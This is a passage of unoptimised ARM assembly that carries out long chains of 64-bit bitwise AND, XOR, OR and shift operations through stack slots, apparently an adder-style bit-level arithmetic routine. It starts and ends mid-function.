str r4, [fp, #-2040]
ldr r0, [fp, #-2060]
ldr r1, [fp, #-2056]
ldr r2, [fp, #-2052]
ldr r3, [fp, #-2048]
orr ip, r0, r2
str ip, [fp, #-3524]
orr r3, r1, r3
str r3, [fp, #-3520]
ldr r3, [fp, #-3524]
ldr r4, [fp, #-3520]
str r3, [fp, #-2036]
str r4, [fp, #-2032]
ldr r0, [fp, #-2380]
ldr r1, [fp, #-2376]
ldr r2, [fp, #-2236]
ldr r3, [fp, #-2232]
eor ip, r0, r2
str ip, [fp, #-3532]
eor r3, r1, r3
str r3, [fp, #-3528]
ldr r3, [fp, #-3532]
ldr r4, [fp, #-3528]
str r3, [fp, #-2028]
str r4, [fp, #-2024]
ldr r0, [fp, #-2380]
ldr r1, [fp, #-2376]
ldr r2, [fp, #-2236]
ldr r3, [fp, #-2232]
and ip, r0, r2
str ip, [fp, #-3540]
and r3, r1, r3
str r3, [fp, #-3536]
ldr r3, [fp, #-3540]
ldr r4, [fp, #-3536]
str r3, [fp, #-2020]
str r4, [fp, #-2016]
ldr r0, [fp, #-2380]
ldr r1, [fp, #-2376]
ldr r2, [fp, #-2284]
ldr r3, [fp, #-2280]
and ip, r0, r2
str ip, [fp, #-3548]
and r3, r1, r3
str r3, [fp, #-3544]
ldr r3, [fp, #-3548]
ldr r4, [fp, #-3544]
str r3, [fp, #-2012]
str r4, [fp, #-2008]
ldr r0, [fp, #-2028]
ldr r1, [fp, #-2024]
ldr r2, [fp, #-2012]
ldr r3, [fp, #-2008]
eor ip, r0, r2
str ip, [fp, #-3556]
eor r3, r1, r3
str r3, [fp, #-3552]
ldr r3, [fp, #-3556]
ldr r4, [fp, #-3552]
str r3, [fp, #-2004]
str r4, [fp, #-2000]
ldr r0, [fp, #-2020]
ldr r1, [fp, #-2016]
ldr r2, [fp, #-2012]
ldr r3, [fp, #-2008]
orr ip, r0, r2
str ip, [fp, #-3564]
orr r3, r1, r3
str r3, [fp, #-3560]
ldr r3, [fp, #-3564]
ldr r4, [fp, #-3560]
str r3, [fp, #-1996]
str r4, [fp, #-1992]
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #3
orr r0, r0, r3, lsl #29
lsr r1, r3, #3
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
and ip, r0, r2
str ip, [fp, #-2644]
and r3, r1, r3
str r3, [fp, #-2640]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2644]
ldr r1, [fp, #-2640]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3572]
and r1, r1, r3
str r1, [fp, #-3568]
ldr r3, [fp, #-3572]
ldr r4, [fp, #-3568]
str r3, [fp, #-1988]
str r4, [fp, #-1984]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #1
orr r4, r4, r3, lsl #31
lsr r5, r3, #1
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #3
orr r0, r0, r3, lsl #29
lsr r1, r3, #3
and r3, r4, r0
str r3, [fp, #-2652]
and r3, r5, r1
str r3, [fp, #-2648]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2652]
ldr r1, [fp, #-2648]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3580]
and r1, r1, r3
str r1, [fp, #-3576]
ldr r3, [fp, #-3580]
ldr r4, [fp, #-3576]
str r3, [fp, #-1980]
str r4, [fp, #-1976]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #2
orr r4, r4, r3, lsl #30
lsr r5, r3, #2
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #3
orr r0, r0, r3, lsl #29
lsr r1, r3, #3
and r3, r4, r0
str r3, [fp, #-2660]
and r3, r5, r1
str r3, [fp, #-2656]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2660]
ldr r1, [fp, #-2656]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3588]
and r1, r1, r3
str r1, [fp, #-3584]
ldr r3, [fp, #-3588]
ldr r4, [fp, #-3584]
str r3, [fp, #-1972]
str r4, [fp, #-1968]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #3
orr r4, r4, r3, lsl #29
lsr r5, r3, #3
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #3
orr r0, r0, r3, lsl #29
lsr r1, r3, #3
and r3, r4, r0
str r3, [fp, #-2668]
and r3, r5, r1
str r3, [fp, #-2664]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2668]
ldr r1, [fp, #-2664]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3596]
and r1, r1, r3
str r1, [fp, #-3592]
ldr r3, [fp, #-3596]
ldr r4, [fp, #-3592]
str r3, [fp, #-1964]
str r4, [fp, #-1960]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #4
orr r4, r4, r3, lsl #28
lsr r5, r3, #4
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #3
orr r0, r0, r3, lsl #29
lsr r1, r3, #3
and r3, r4, r0
str r3, [fp, #-2676]
and r3, r5, r1
str r3, [fp, #-2672]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2676]
ldr r1, [fp, #-2672]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3604]
and r1, r1, r3
str r1, [fp, #-3600]
ldr r3, [fp, #-3604]
ldr r4, [fp, #-3600]
str r3, [fp, #-1956]
str r4, [fp, #-1952]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #5
orr r4, r4, r3, lsl #27
lsr r5, r3, #5
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #3
orr r0, r0, r3, lsl #29
lsr r1, r3, #3
and r3, r4, r0
str r3, [fp, #-2684]
and r3, r5, r1
str r3, [fp, #-2680]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2684]
ldr r1, [fp, #-2680]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3612]
and r1, r1, r3
str r1, [fp, #-3608]
ldr r3, [fp, #-3612]
ldr r4, [fp, #-3608]
str r3, [fp, #-1948]
str r4, [fp, #-1944]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #6
orr r4, r4, r3, lsl #26
lsr r5, r3, #6
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #3
orr r0, r0, r3, lsl #29
lsr r1, r3, #3
and r3, r4, r0
str r3, [fp, #-2692]
and r3, r5, r1
str r3, [fp, #-2688]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2692]
ldr r1, [fp, #-2688]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3620]
and r1, r1, r3
str r1, [fp, #-3616]
ldr r3, [fp, #-3620]
ldr r4, [fp, #-3616]
str r3, [fp, #-1940]
str r4, [fp, #-1936]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #7
orr r4, r4, r3, lsl #25
lsr r5, r3, #7
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #3
orr r0, r0, r3, lsl #29
lsr r1, r3, #3
and r3, r4, r0
str r3, [fp, #-2700]
and r3, r5, r1
str r3, [fp, #-2696]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2700]
ldr r1, [fp, #-2696]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3628]
and r1, r1, r3
str r1, [fp, #-3624]
ldr r3, [fp, #-3628]
ldr r4, [fp, #-3624]
str r3, [fp, #-1932]
str r4, [fp, #-1928]
ldr r0, [fp, #-2220]
ldr r1, [fp, #-2216]
ldr r2, [fp, #-1988]
ldr r3, [fp, #-1984]
orr ip, r0, r2
str ip, [fp, #-3636]
orr r3, r1, r3
str r3, [fp, #-3632]
ldr r3, [fp, #-3636]
ldr r4, [fp, #-3632]
str r3, [fp, #-1924]
str r4, [fp, #-1920]
ldr r0, [fp, #-1924]
ldr r1, [fp, #-1920]
ldr r2, [fp, #-1988]
ldr r3, [fp, #-1984]
eor ip, r0, r2
str ip, [fp, #-3644]
eor r3, r1, r3
str r3, [fp, #-3640]
ldr r3, [fp, #-3644]
ldr r4, [fp, #-3640]
str r3, [fp, #-1916]
str r4, [fp, #-1912]
ldr r0, [fp, #-2164]
ldr r1, [fp, #-2160]
ldr r2, [fp, #-1980]
ldr r3, [fp, #-1976]
eor ip, r0, r2
str ip, [fp, #-3652]
eor r3, r1, r3
str r3, [fp, #-3648]
ldr r3, [fp, #-3652]
ldr r4, [fp, #-3648]
str r3, [fp, #-1908]
str r4, [fp, #-1904]
ldr r0, [fp, #-2164]
ldr r1, [fp, #-2160]
ldr r2, [fp, #-1980]
ldr r3, [fp, #-1976]
and ip, r0, r2
str ip, [fp, #-3660]
and r3, r1, r3
str r3, [fp, #-3656]
ldr r3, [fp, #-3660]
ldr r4, [fp, #-3656]
str r3, [fp, #-1900]
str r4, [fp, #-1896]
ldr r0, [fp, #-1908]
ldr r1, [fp, #-1904]
ldr r2, [fp, #-2196]
ldr r3, [fp, #-2192]
and ip, r0, r2
str ip, [fp, #-3668]
and r3, r1, r3
str r3, [fp, #-3664]
ldr r3, [fp, #-3668]
ldr r4, [fp, #-3664]
str r3, [fp, #-1892]
str r4, [fp, #-1888]
ldr r0, [fp, #-1908]
ldr r1, [fp, #-1904]
ldr r2, [fp, #-2196]
ldr r3, [fp, #-2192]
eor ip, r0, r2
str ip, [fp, #-3676]
eor r3, r1, r3
str r3, [fp, #-3672]
ldr r3, [fp, #-3676]
ldr r4, [fp, #-3672]
str r3, [fp, #-1884]
str r4, [fp, #-1880]
ldr r0, [fp, #-1900]
ldr r1, [fp, #-1896]
ldr r2, [fp, #-1892]
ldr r3, [fp, #-1888]
orr ip, r0, r2
str ip, [fp, #-3684]
orr r3, r1, r3
str r3, [fp, #-3680]
ldr r3, [fp, #-3684]
ldr r4, [fp, #-3680]
str r3, [fp, #-1876]
str r4, [fp, #-1872]
ldr r0, [fp, #-2124]
ldr r1, [fp, #-2120]
ldr r2, [fp, #-1972]
ldr r3, [fp, #-1968]
eor ip, r0, r2
str ip, [fp, #-3692]
eor r3, r1, r3
str r3, [fp, #-3688]
ldr r3, [fp, #-3692]
ldr r4, [fp, #-3688]
str r3, [fp, #-1868]
str r4, [fp, #-1864]
ldr r0, [fp, #-2124]
ldr r1, [fp, #-2120]
ldr r2, [fp, #-1972]
ldr r3, [fp, #-1968]
and ip, r0, r2
str ip, [fp, #-3700]
and r3, r1, r3
str r3, [fp, #-3696]
ldr r3, [fp, #-3700]
ldr r4, [fp, #-3696]
str r3, [fp, #-1860]
str r4, [fp, #-1856]
ldr r0, [fp, #-1868]
ldr r1, [fp, #-1864]
ldr r2, [fp, #-2156]
ldr r3, [fp, #-2152]
and ip, r0, r2
str ip, [fp, #-3708]
and r3, r1, r3
str r3, [fp, #-3704]
ldr r3, [fp, #-3708]
ldr r4, [fp, #-3704]
str r3, [fp, #-1852]
str r4, [fp, #-1848]
ldr r0, [fp, #-1868]
ldr r1, [fp, #-1864]
ldr r2, [fp, #-2156]
ldr r3, [fp, #-2152]
eor ip, r0, r2
str ip, [fp, #-3716]
eor r3, r1, r3
str r3, [fp, #-3712]
ldr r3, [fp, #-3716]
ldr r4, [fp, #-3712]
str r3, [fp, #-1844]
str r4, [fp, #-1840]
ldr r0, [fp, #-1860]
ldr r1, [fp, #-1856]
ldr r2, [fp, #-1852]
ldr r3, [fp, #-1848]
orr ip, r0, r2
str ip, [fp, #-3724]
orr r3, r1, r3
str r3, [fp, #-3720]
ldr r3, [fp, #-3724]
ldr r4, [fp, #-3720]
str r3, [fp, #-1836]
str r4, [fp, #-1832]
ldr r0, [fp, #-2084]
ldr r1, [fp, #-2080]
ldr r2, [fp, #-1964]
ldr r3, [fp, #-1960]
eor ip, r0, r2
str ip, [fp, #-3732]
eor r3, r1, r3
str r3, [fp, #-3728]
ldr r3, [fp, #-3732]
ldr r4, [fp, #-3728]
str r3, [fp, #-1828]
str r4, [fp, #-1824]
ldr r0, [fp, #-2084]
ldr r1, [fp, #-2080]
ldr r2, [fp, #-1964]
ldr r3, [fp, #-1960]
and ip, r0, r2
str ip, [fp, #-3740]
and r3, r1, r3
str r3, [fp, #-3736]
ldr r3, [fp, #-3740]
ldr r4, [fp, #-3736]
str r3, [fp, #-1820]
str r4, [fp, #-1816]
ldr r0, [fp, #-1828]
ldr r1, [fp, #-1824]
ldr r2, [fp, #-2116]
ldr r3, [fp, #-2112]
and ip, r0, r2
str ip, [fp, #-3748]
and r3, r1, r3
str r3, [fp, #-3744]
ldr r3, [fp, #-3748]
ldr r4, [fp, #-3744]
str r3, [fp, #-1812]
str r4, [fp, #-1808]
ldr r0, [fp, #-1828]
ldr r1, [fp, #-1824]
ldr r2, [fp, #-2116]
ldr r3, [fp, #-2112]
eor ip, r0, r2
str ip, [fp, #-3756]
eor r3, r1, r3
str r3, [fp, #-3752]
ldr r3, [fp, #-3756]
ldr r4, [fp, #-3752]
str r3, [fp, #-1804]
str r4, [fp, #-1800]
ldr r0, [fp, #-1820]
ldr r1, [fp, #-1816]
ldr r2, [fp, #-1812]
ldr r3, [fp, #-1808]
orr ip, r0, r2
str ip, [fp, #-3764]
orr r3, r1, r3
str r3, [fp, #-3760]
ldr r3, [fp, #-3764]
ldr r4, [fp, #-3760]
str r3, [fp, #-1796]
str r4, [fp, #-1792]
ldr r0, [fp, #-2044]
ldr r1, [fp, #-2040]
ldr r2, [fp, #-1956]
ldr r3, [fp, #-1952]
eor ip, r0, r2
str ip, [fp, #-3772]
eor r3, r1, r3
str r3, [fp, #-3768]
ldr r3, [fp, #-3772]
ldr r4, [fp, #-3768]
str r3, [fp, #-1788]
str r4, [fp, #-1784]
ldr r0, [fp, #-2044]
ldr r1, [fp, #-2040]
ldr r2, [fp, #-1956]
ldr r3, [fp, #-1952]
and ip, r0, r2
str ip, [fp, #-3780]
and r3, r1, r3
str r3, [fp, #-3776]
ldr r3, [fp, #-3780]
ldr r4, [fp, #-3776]
str r3, [fp, #-1780]
str r4, [fp, #-1776]
ldr r0, [fp, #-1788]
ldr r1, [fp, #-1784]
ldr r2, [fp, #-2076]
ldr r3, [fp, #-2072]
and ip, r0, r2
str ip, [fp, #-3788]
and r3, r1, r3
str r3, [fp, #-3784]
ldr r3, [fp, #-3788]
ldr r4, [fp, #-3784]
str r3, [fp, #-1772]
str r4, [fp, #-1768]
ldr r0, [fp, #-1788]
ldr r1, [fp, #-1784]
ldr r2, [fp, #-2076]
ldr r3, [fp, #-2072]
eor ip, r0, r2
str ip, [fp, #-3796]
eor r3, r1, r3
str r3, [fp, #-3792]
ldr r3, [fp, #-3796]
ldr r4, [fp, #-3792]
str r3, [fp, #-1764]
str r4, [fp, #-1760]
ldr r0, [fp, #-1780]
ldr r1, [fp, #-1776]
ldr r2, [fp, #-1772]
ldr r3, [fp, #-1768]
orr ip, r0, r2
str ip, [fp, #-3804]
orr r3, r1, r3
str r3, [fp, #-3800]
ldr r3, [fp, #-3804]
ldr r4, [fp, #-3800]
str r3, [fp, #-1756]
str r4, [fp, #-1752]
ldr r0, [fp, #-2004]
ldr r1, [fp, #-2000]
ldr r2, [fp, #-1948]
ldr r3, [fp, #-1944]
eor ip, r0, r2
str ip, [fp, #-3812]
eor r3, r1, r3
str r3, [fp, #-3808]
ldr r3, [fp, #-3812]
ldr r4, [fp, #-3808]
str r3, [fp, #-1748]
str r4, [fp, #-1744]
ldr r0, [fp, #-2004]
ldr r1, [fp, #-2000]
ldr r2, [fp, #-1948]
ldr r3, [fp, #-1944]
and ip, r0, r2
str ip, [fp, #-3820]
and r3, r1, r3
str r3, [fp, #-3816]
ldr r3, [fp, #-3820]
ldr r4, [fp, #-3816]
str r3, [fp, #-1740]
str r4, [fp, #-1736]
ldr r0, [fp, #-1748]
ldr r1, [fp, #-1744]
ldr r2, [fp, #-2036]
ldr r3, [fp, #-2032]
and ip, r0, r2
str ip, [fp, #-3828]
and r3, r1, r3
str r3, [fp, #-3824]
ldr r3, [fp, #-3828]
ldr r4, [fp, #-3824]
str r3, [fp, #-1732]
str r4, [fp, #-1728]
ldr r0, [fp, #-1748]
ldr r1, [fp, #-1744]
ldr r2, [fp, #-2036]
ldr r3, [fp, #-2032]
eor ip, r0, r2
str ip, [fp, #-3836]
eor r3, r1, r3
str r3, [fp, #-3832]
ldr r3, [fp, #-3836]
ldr r4, [fp, #-3832]
str r3, [fp, #-1724]
str r4, [fp, #-1720]
ldr r0, [fp, #-1740]
ldr r1, [fp, #-1736]
ldr r2, [fp, #-1732]
ldr r3, [fp, #-1728]
orr ip, r0, r2
str ip, [fp, #-3844]
orr r3, r1, r3
str r3, [fp, #-3840]
ldr r3, [fp, #-3844]
ldr r4, [fp, #-3840]
str r3, [fp, #-1716]
str r4, [fp, #-1712]
ldr r0, [fp, #-2228]
ldr r1, [fp, #-2224]
ldr r2, [fp, #-1940]
ldr r3, [fp, #-1936]
eor ip, r0, r2
str ip, [fp, #-3852]
eor r3, r1, r3
str r3, [fp, #-3848]
ldr r3, [fp, #-3852]
ldr r4, [fp, #-3848]
str r3, [fp, #-1708]
str r4, [fp, #-1704]
ldr r0, [fp, #-2228]
ldr r1, [fp, #-2224]
ldr r2, [fp, #-1940]
ldr r3, [fp, #-1936]
and ip, r0, r2
str ip, [fp, #-3860]
and r3, r1, r3
str r3, [fp, #-3856]
ldr r3, [fp, #-3860]
ldr r4, [fp, #-3856]
str r3, [fp, #-1700]
str r4, [fp, #-1696]
ldr r0, [fp, #-1708]
ldr r1, [fp, #-1704]
ldr r2, [fp, #-1996]
ldr r3, [fp, #-1992]
and ip, r0, r2
str ip, [fp, #-3868]
and r3, r1, r3
str r3, [fp, #-3864]
ldr r3, [fp, #-3868]
ldr r4, [fp, #-3864]
str r3, [fp, #-1692]
str r4, [fp, #-1688]
ldr r0, [fp, #-1708]
ldr r1, [fp, #-1704]
ldr r2, [fp, #-1996]
ldr r3, [fp, #-1992]
eor ip, r0, r2
str ip, [fp, #-3876]
eor r3, r1, r3
str r3, [fp, #-3872]
ldr r3, [fp, #-3876]
ldr r4, [fp, #-3872]
str r3, [fp, #-1684]
str r4, [fp, #-1680]
ldr r0, [fp, #-1700]
ldr r1, [fp, #-1696]
ldr r2, [fp, #-1692]
ldr r3, [fp, #-1688]
orr ip, r0, r2
str ip, [fp, #-3884]
orr r3, r1, r3
str r3, [fp, #-3880]
ldr r3, [fp, #-3884]
ldr r4, [fp, #-3880]
str r3, [fp, #-1676]
str r4, [fp, #-1672]
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #4
orr r0, r0, r3, lsl #28
lsr r1, r3, #4
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
and ip, r0, r2
str ip, [fp, #-2708]
and r3, r1, r3
str r3, [fp, #-2704]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2708]
ldr r1, [fp, #-2704]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3892]
and r1, r1, r3
str r1, [fp, #-3888]
ldr r3, [fp, #-3892]
ldr r4, [fp, #-3888]
str r3, [fp, #-1668]
str r4, [fp, #-1664]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #1
orr r4, r4, r3, lsl #31
lsr r5, r3, #1
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #4
orr r0, r0, r3, lsl #28
lsr r1, r3, #4
and r3, r4, r0
str r3, [fp, #-2716]
and r3, r5, r1
str r3, [fp, #-2712]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2716]
ldr r1, [fp, #-2712]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3900]
and r1, r1, r3
str r1, [fp, #-3896]
ldr r3, [fp, #-3900]
ldr r4, [fp, #-3896]
str r3, [fp, #-1660]
str r4, [fp, #-1656]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #2
orr r4, r4, r3, lsl #30
lsr r5, r3, #2
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #4
orr r0, r0, r3, lsl #28
lsr r1, r3, #4
and r3, r4, r0
str r3, [fp, #-2724]
and r3, r5, r1
str r3, [fp, #-2720]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2724]
ldr r1, [fp, #-2720]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3908]
and r1, r1, r3
str r1, [fp, #-3904]
ldr r3, [fp, #-3908]
ldr r4, [fp, #-3904]
str r3, [fp, #-1652]
str r4, [fp, #-1648]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #3
orr r4, r4, r3, lsl #29
lsr r5, r3, #3
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #4
orr r0, r0, r3, lsl #28
lsr r1, r3, #4
and r3, r4, r0
str r3, [fp, #-2732]
and r3, r5, r1
str r3, [fp, #-2728]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2732]
ldr r1, [fp, #-2728]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3916]
and r1, r1, r3
str r1, [fp, #-3912]
ldr r3, [fp, #-3916]
ldr r4, [fp, #-3912]
str r3, [fp, #-1644]
str r4, [fp, #-1640]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #4
orr r4, r4, r3, lsl #28
lsr r5, r3, #4
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #4
orr r0, r0, r3, lsl #28
lsr r1, r3, #4
and r3, r4, r0
str r3, [fp, #-2740]
and r3, r5, r1
str r3, [fp, #-2736]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2740]
ldr r1, [fp, #-2736]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3924]
and r1, r1, r3
str r1, [fp, #-3920]
ldr r3, [fp, #-3924]
ldr r4, [fp, #-3920]
str r3, [fp, #-1636]
str r4, [fp, #-1632]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #5
orr r4, r4, r3, lsl #27
lsr r5, r3, #5
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #4
orr r0, r0, r3, lsl #28
lsr r1, r3, #4
and r3, r4, r0
str r3, [fp, #-2748]
and r3, r5, r1
str r3, [fp, #-2744]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2748]
ldr r1, [fp, #-2744]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3932]
and r1, r1, r3
str r1, [fp, #-3928]
ldr r3, [fp, #-3932]
ldr r4, [fp, #-3928]
str r3, [fp, #-1628]
str r4, [fp, #-1624]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #6
orr r4, r4, r3, lsl #26
lsr r5, r3, #6
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #4
orr r0, r0, r3, lsl #28
lsr r1, r3, #4
and r3, r4, r0
str r3, [fp, #-2756]
and r3, r5, r1
str r3, [fp, #-2752]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2756]
ldr r1, [fp, #-2752]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3940]
and r1, r1, r3
str r1, [fp, #-3936]
ldr r3, [fp, #-3940]
ldr r4, [fp, #-3936]
str r3, [fp, #-1620]
str r4, [fp, #-1616]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #7
orr r4, r4, r3, lsl #25
lsr r5, r3, #7
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #4
orr r0, r0, r3, lsl #28
lsr r1, r3, #4
and r3, r4, r0
str r3, [fp, #-2764]
and r3, r5, r1
str r3, [fp, #-2760]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2764]
ldr r1, [fp, #-2760]
mov ip, r0
and ip, ip, r2
str ip, [fp, #-3948]
and r1, r1, r3
str r1, [fp, #-3944]
ldr r3, [fp, #-3948]
ldr r4, [fp, #-3944]
str r3, [fp, #-1612]
str r4, [fp, #-1608]
ldr r0, [fp, #-1884]
ldr r1, [fp, #-1880]
ldr r2, [fp, #-1668]
ldr r3, [fp, #-1664]
eor ip, r0, r2
str ip, [fp, #-3956]
eor r3, r1, r3
str r3, [fp, #-3952]
ldr r3, [fp, #-3956]
ldr r4, [fp, #-3952]
str r3, [fp, #-1604]
str r4, [fp, #-1600]
ldr r0, [fp, #-1884]
ldr r1, [fp, #-1880]
ldr r2, [fp, #-1668]
ldr r3, [fp, #-1664]
and ip, r0, r2
str ip, [fp, #-3964]
and r3, r1, r3
str r3, [fp, #-3960]
ldr r3, [fp, #-3964]
ldr r4, [fp, #-3960]
str r3, [fp, #-1596]
str r4, [fp, #-1592]
ldr r0, [fp, #-1604]
ldr r1, [fp, #-1600]
ldr r2, [fp, #-1988]
ldr r3, [fp, #-1984]
and ip, r0, r2
str ip, [fp, #-3972]
and r3, r1, r3
str r3, [fp, #-3968]
ldr r3, [fp, #-3972]
ldr r4, [fp, #-3968]
str r3, [fp, #-1588]
str r4, [fp, #-1584]
ldr r0, [fp, #-1604]
ldr r1, [fp, #-1600]
ldr r2, [fp, #-1988]
ldr r3, [fp, #-1984]
eor ip, r0, r2
str ip, [fp, #-3980]
eor r3, r1, r3
str r3, [fp, #-3976]
ldr r3, [fp, #-3980]
ldr r4, [fp, #-3976]
str r3, [fp, #-1580]
str r4, [fp, #-1576]
ldr r0, [fp, #-1596]
ldr r1, [fp, #-1592]
ldr r2, [fp, #-1588]
ldr r3, [fp, #-1584]
orr ip, r0, r2
str ip, [fp, #-3988]
orr r3, r1, r3
str r3, [fp, #-3984]
ldr r3, [fp, #-3988]
ldr r4, [fp, #-3984]
str r3, [fp, #-1572]
str r4, [fp, #-1568]
ldr r0, [fp, #-1844]
ldr r1, [fp, #-1840]
ldr r2, [fp, #-1660]
ldr r3, [fp, #-1656]
eor ip, r0, r2
str ip, [fp, #-3996]
eor r3, r1, r3
str r3, [fp, #-3992]
ldr r3, [fp, #-3996]
ldr r4, [fp, #-3992]
str r3, [fp, #-1564]
str r4, [fp, #-1560]
ldr r0, [fp, #-1844]
ldr r1, [fp, #-1840]
ldr r2, [fp, #-1660]
ldr r3, [fp, #-1656]
and ip, r0, r2
str ip, [fp, #-4004]
and r3, r1, r3
str r3, [fp, #-4000]
ldr r3, [fp, #-4004]
ldr r4, [fp, #-4000]
str r3, [fp, #-1556]
str r4, [fp, #-1552]
ldr r0, [fp, #-1564]
ldr r1, [fp, #-1560]
ldr r2, [fp, #-1876]
ldr r3, [fp, #-1872]
and ip, r0, r2
str ip, [fp, #-4012]
and r3, r1, r3
str r3, [fp, #-4008]
ldr r3, [fp, #-4012]
ldr r4, [fp, #-4008]
str r3, [fp, #-1548]
str r4, [fp, #-1544]
ldr r0, [fp, #-1564]
ldr r1, [fp, #-1560]
ldr r2, [fp, #-1876]
ldr r3, [fp, #-1872]
eor ip, r0, r2
str ip, [fp, #-4020]
eor r3, r1, r3
str r3, [fp, #-4016]
ldr r3, [fp, #-4020]
ldr r4, [fp, #-4016]
str r3, [fp, #-1540]
str r4, [fp, #-1536]
ldr r0, [fp, #-1556]
ldr r1, [fp, #-1552]
ldr r2, [fp, #-1548]
ldr r3, [fp, #-1544]
orr ip, r0, r2
str ip, [fp, #-4028]
orr r3, r1, r3
str r3, [fp, #-4024]
ldr r3, [fp, #-4028]
ldr r4, [fp, #-4024]
str r3, [fp, #-1532]
str r4, [fp, #-1528]
ldr r0, [fp, #-1804]
ldr r1, [fp, #-1800]
ldr r2, [fp, #-1652]
ldr r3, [fp, #-1648]
eor ip, r0, r2
str ip, [fp, #-4036]
eor r3, r1, r3
str r3, [fp, #-4032]
ldr r3, [fp, #-4036]
ldr r4, [fp, #-4032]
str r3, [fp, #-1524]
str r4, [fp, #-1520]
ldr r0, [fp, #-1804]
ldr r1, [fp, #-1800]
ldr r2, [fp, #-1652]
ldr r3, [fp, #-1648]
and ip, r0, r2
str ip, [fp, #-4044]
and r3, r1, r3
str r3, [fp, #-4040]
ldr r3, [fp, #-4044]
ldr r4, [fp, #-4040]
str r3, [fp, #-1516]
str r4, [fp, #-1512]
ldr r0, [fp, #-1524]
ldr r1, [fp, #-1520]
ldr r2, [fp, #-1836]
ldr r3, [fp, #-1832]
and ip, r0, r2
str ip, [fp, #-4052]
and r3, r1, r3
str r3, [fp, #-4048]
ldr r3, [fp, #-4052]
ldr r4, [fp, #-4048]
str r3, [fp, #-1508]
str r4, [fp, #-1504]
ldr r0, [fp, #-1524]
